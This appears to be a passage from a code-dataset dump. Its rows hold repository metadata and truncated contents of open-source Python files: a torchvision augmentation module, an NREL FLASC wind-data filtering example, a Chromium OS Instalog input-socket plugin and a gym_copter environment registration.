] | null | null | null | from torch import Tensor
from torchvision import transforms
import torchvision.datasets as datasets
try:
import accimage
except ImportError:
accimage = None
# Custom Augment Classes that can be put into Compose
def apply_color_distortion(x: Tensor, bright: float=1., contrast: float=1., saturation: float=1.... | 37.140468 | 140 | 0.585592 | import pathlib
import numbers
import random
from typing import Any, Optional
import numpy as np
import torch
from torch import Tensor
from torch.jit.annotations import List, Tuple
import torch.nn.functional as F
from torch.utils.data import Dataset, DataLoader
from torchvision import transforms
import torchvision.data... | 0 | 563 | 0 | 6,607 | 0 | 1,037 | 0 | 83 | 493 |
a8405610799ce8775ba88ab0f6c2fc30b7ca9b2a | 3,389 | py | Python | examples/raw_data_processing/a_02_basic_filters.py | NREL/flasc | ac734892efc1bc7684e2393ffa1ce7a97a54efa1 | [
"Apache-2.0"
] | 3 | 2022-01-23T19:33:32.000Z | 2022-03-14T10:29:36.000Z | examples/raw_data_processing/a_02_basic_filters.py | NREL/flasc | ac734892efc1bc7684e2393ffa1ce7a97a54efa1 | [
"Apache-2.0"
] | 2 | 2022-03-02T20:45:30.000Z | 2022-03-22T18:49:24.000Z | examples/raw_data_processing/a_02_basic_filters.py | NREL/flasc | ac734892efc1bc7684e2393ffa1ce7a97a54efa1 | [
"Apache-2.0"
] | 4 | 2022-02-17T18:40:36.000Z | 2022-03-24T05:44:31.000Z | # Copyright 2021 NREL
# Licensed under the Apache License, Version 2.0 (the "License"); you may not
# use this file except in compliance with the License. You may obtain a copy of
# the License at http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or agreed to in writing, software
# distri... | 37.655556 | 79 | 0.680732 | # Copyright 2021 NREL
# Licensed under the Apache License, Version 2.0 (the "License"); you may not
# use this file except in compliance with the License. You may obtain a copy of
# the License at http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or agreed to in writing, software
# distri... | 0 | 0 | 0 | 0 | 0 | 287 | 0 | 9 | 45 |
066f467a09fc460769496e0b2d2881cc8b22ebdf | 10,036 | py | Python | py/instalog/plugins/input_socket.py | arccode/factory | a1b0fccd68987d8cd9c89710adc3c04b868347ec | [
"BSD-3-Clause"
] | 3 | 2022-01-06T16:52:52.000Z | 2022-03-07T11:30:47.000Z | py/instalog/plugins/input_socket.py | arccode/factory | a1b0fccd68987d8cd9c89710adc3c04b868347ec | [
"BSD-3-Clause"
] | null | null | null | py/instalog/plugins/input_socket.py | arccode/factory | a1b0fccd68987d8cd9c89710adc3c04b868347ec | [
"BSD-3-Clause"
] | 1 | 2021-10-24T01:47:22.000Z | 2021-10-24T01:47:22.000Z | #!/usr/bin/env python3
#
# Copyright 2016 The Chromium OS Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Input socket plugin.
Waits for events from an output socket plugin running on another Instalog node.
See socket_common.py fo... | 32.478964 | 80 | 0.65564 | #!/usr/bin/env python3
#
# Copyright 2016 The Chromium OS Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Input socket plugin.
Waits for events from an output socket plugin running on another Instalog node.
See socket_common.py fo... | 0 | 0 | 0 | 9,096 | 0 | 0 | 0 | 96 | 313 |
72af4e1f9e46cb1826d0b6d934a94d322b2baf6f | 669 | py | Python | attic/gym_copter/__init__.py | sendera99/gym-copter | 08ac2bc4e7e43a58d93af14f7a618a9bdda78e79 | [
"MIT"
] | 14 | 2019-11-03T05:17:46.000Z | 2022-02-26T05:37:32.000Z | attic/gym_copter/__init__.py | sendera99/gym-copter | 08ac2bc4e7e43a58d93af14f7a618a9bdda78e79 | [
"MIT"
] | 77 | 2020-05-17T01:56:29.000Z | 2021-06-19T02:46:52.000Z | attic/gym_copter/__init__.py | sendera99/gym-copter | 08ac2bc4e7e43a58d93af14f7a618a9bdda78e79 | [
"MIT"
] | 6 | 2020-01-01T07:22:15.000Z | 2021-05-11T17:45:33.000Z | '''
Copyright (C) 2019 Simon D. Levy
MIT License
'''
from gym.envs.registration import register
register(
id='Lander-v0',
entry_point='gym_copter.envs:Lander2D',
max_episode_steps=2000
)
register(
id='Lander3D-v0',
entry_point='gym_copter.envs:Lander3D',
max_episode_steps=20... | 17.605263 | 52 | 0.665172 | '''
Copyright (C) 2019 Simon D. Levy
MIT License
'''
from gym.envs.registration import register
register(
id='Lander-v0',
entry_point='gym_copter.envs:Lander2D',
max_episode_steps=2000
)
register(
id='Lander3D-v0',
entry_point='gym_copter.envs:Lander3D',
max_episode_steps=20... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |